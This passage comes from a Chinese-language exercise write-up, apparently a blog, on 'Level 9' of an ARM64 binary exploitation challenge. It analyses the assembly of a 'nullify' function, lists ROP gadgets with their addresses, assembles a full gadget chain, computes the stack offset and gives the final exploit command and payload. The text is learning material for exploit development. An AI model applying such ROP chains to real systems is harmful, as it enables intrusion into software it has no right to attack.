  • 你会注意到它在 free 那崩溃了,因为在栈溢出过程中会不可避免地把中间一块当作要去 free 的存指针的区域覆盖掉,这好像不管怎样都没办法了。

  • 当然你说你要用调用链装个 signal handler 那就当我什么都没说。

alt text

Level 9

  • 虽然上面好像已经分析过 Level 9 了,但我们还是要看一眼汇编才能明白具体的明细呢:
nullify + 24: 0x400ea0:
  add x0, sp, #0x2c;
  str x0, [sp, #0x38];
  ldr x0, [sp, #0x38];
  mov w1, #2;
  str w1, [x0]

    x0 = sp + 44
    *x0 = 2
nullify + 64: 0x400ec8: 
  ldr x0, [sp, 0x30]; 
  str wzr, [x0];

    x0 = *(sp + 48)   // x0 equals to func arg0 now
    *(int32 *)x0 = 0  // 4 byte write
nullify + 104: 0x400ef0: 
  ldr w0, [sp, 0x2c];
  cmp w0, #0
  b.ne blablabla

    w0 = *(sp + 44)
    if (w0 == 0) {
      pass
    }
  • nullify + 24 是将某个位置的值写成2, nullify + 64 是把可控地址写0的,而 nullify + 104 是关键判断语句,这几个合一起等于说我们要在栈上造出下面这个玩意:
sp+44 +-+-+-+-+-+-+-+-+-+  
      |                 | <-------
sp+48 +-+-+-+-+-+-+-+-+-+        | a pointer that points to its upper 4 bytes
      |  value: sp+44   | --------
sp+56 +-+-+-+-+-+-+-+-+-+
  • 这个时候肯定又要有人有疑惑了,因为 sp + 48 存的其实是进入函数时的参数寄存器 x0 的值,这样我们就只需要往 x0 里写进入 nullify 时的 stack baseline + 44 就好了,用不着往栈上造这么复杂的东西吧? 同样这也是一款"原著精神"悖论,最开始的时候我是打算最后跳到 nullify + 64 处,那只能操控 stack 上的值了吧(给自己找麻烦.jpg)。

全村唯一的 primitive

  • 找 gadget time!不管怎样我们得先拿到 sp 的值对吧,于是在 roppersearch add x?, sp ,很快就找到了全村唯一能用的 primitive
movx1sp_x0x19_jx2() {
  0x0000000000428c48: add x1, sp, #0x38; mov x0, x19; blr x2;
      x1 = sp + 56
      x0 = x19
      jmp x2
}
  • 它最后要往 x2 跳,可我们的 setx0x1x2x3_jx2 也要往 x2 跳,只能另外找路径:
setx2x3(x2, x3, ret) {
  0x0000000000400748: ldp x2, x3, [sp], #0x10; ldp x29, x30, [sp], #0x20; nop; ret; 
    x2 = *sp
    x3 = *(sp + 8)
    ret = *(sp + 24)
    sp += 48
    jmp ret
}
  • 之后呢,凭借着没有困难就自找苦吃的智力欠缺精神,这边做出了如下的规划:

    • 首先,我们有的往地址写内容的原语是 savex0: *x1 = x0x1 已经是栈地址了, x0 也得是,于是我们得找到一个把 x1x0 里头送的primitive,于是找到了:
    • addx0x1(ret) {
        0x000000000040de1c: add x0, x1, x0; ldp x29, x30, [sp], #0x10; ret;
          x0 = x1 + x0
          ret = *(sp + 8)
          sp += 16
          jmp ret
      }
      
    • 很好,用 setx0x0 置0就达成目的了。
    • 再然后,根据我们的分析, sp + 48 处存的值是 sp + 44 ,很可惜 好像Arm64的 add 没法加负数 又不是add imm怎么就不行了 这边脑子不好了,于是又得找到一个能减 x0 的 primitive: search sub x0 ,于是又找到了:
    • subx0x20_setx19x20(x19, x20, ret) {
        0x0000000000429b6c: sub x0, x0, x20; ldp x19, x20, [sp, #0x10]; ldp x29, x30, [sp], #0x30; ret; 
          x0 = x0 - x20
          ret = *(sp + 8)
          x19 = *(sp + 16)
          x20 = *(sp + 24)
          sp += 48
          jmp ret
      }
      
    • 再再然后,我们还需要想办法在用它之前就能控制 x20 的值,于是又又找到了
    • setx19x20(x19, x20, ret) {
        0x000000000042cb10: ldp x19, x20, [sp, #0x10]; ldp x29, x30, [sp], #0x20; ret;
          ret = *(sp + 8)
          x19 = *(sp + 16)
          x20 = *(sp + 24)
          sp += 32
          jmp ret
      }
      
    • 再再再然后,别忘了 rop 跳个几次后都不知道 stack unwind 到哪去了,于是在移进 x0 做减法之前,我们得预先给 x1 加上一个偏移才能对齐,于是又又又找到了:
    • addx1x0_savex1_setx21x22(x21, x22, ret) {
        0x00000000004296d0: add x1, x1, x0; str x1, [x21, #0x90]; ldp x21, x22, [sp, #0x20]; ldp x29, x30, [sp], #0x30; ret;
          x1 = x1 + x0
          *(x21 + 144) = x1
          ret = *(sp + 8)
          x21 = *(sp + 32)
          x22 = *(sp + 40)
          sp += 48
          jmp ret
      }
      
    • 再再再再然后,虽然 x0 早解决了,但还得控制 x21 为一个可写的地址不然它会爆炸,于是又又又又找到了:
    • setx21(x21, ret) {
        0x000000000046a96C: ldr x21, [sp, #0x20]; ldp x29, x30, [sp], #0x30; ret; 
          ret = *(sp + 8)
          x21 = *(sp + 32)
          sp += 48
          jmp ret
      }
      
    • 是不是顺畅得有点离谱呢,倒是希望没那么顺畅,那就不用构造这么乱七八糟的玩意了
  • 之后就是开造:

// set movx1sp_x0x19_jx2 ret
setx2x3(x2=setx0, ret=movx1sp_x0x19_jx2)

// x1 <- sp + 56
movx1sp_x0x19_jx2() // sp+0

// x0 = stack_offset
setx0(x0=stack_offset, ret=setx21)  // sp+176 

// set x21 to writable address
setx21(x21=Password-144, ret=addx1x0_savex1_setx21x22)  // sp+48

// x1 += x0
addx1x0_savex1_setx21x22(ret=setx0) // sp+48

// x0 = 0
setx0(x0=0, ret=addx0x1)  // sp+176

// x0 = x1
addx0x1(ret=setx19x20)  // sp+16

// x20 = 4
setx19x20(x20=4, ret=subx0x20_setx19x20)  // sp+32

// x0 -= x20
subx0x20_setx19x20(ret=savex0)  // sp+48

// *(sp + 48) = sp + 44
// x0 = sp + 44 now
savex0(ret=setx1x3_jx3) // sp+16

// enter nullify, make sure x1 = 1
setx1x3_jx3(x1=1, x3=nullify)  // sp+0

nullify()  // sp-64, save location sp + 48, sp+48
  • 算出来的 stack_offsetsp + 56 + stack_offset == sp + 176 + 48 + 48 + 176 + 16 + 32 + 48 + 16 - 64 + 48, stack_offset == 488

  • gadget_nullify_v2.py

  • 答案: python gadget_nullify_v2.py && ./exploit64 help adminaaaaaaaaaaa\x04\x08\x40\x00 funny

  • 这玩意一定崩溃不了,会正常退出的,因为呢 setx1x3_jx3 就是 __libc_start_main 里头 call main 那一块呢。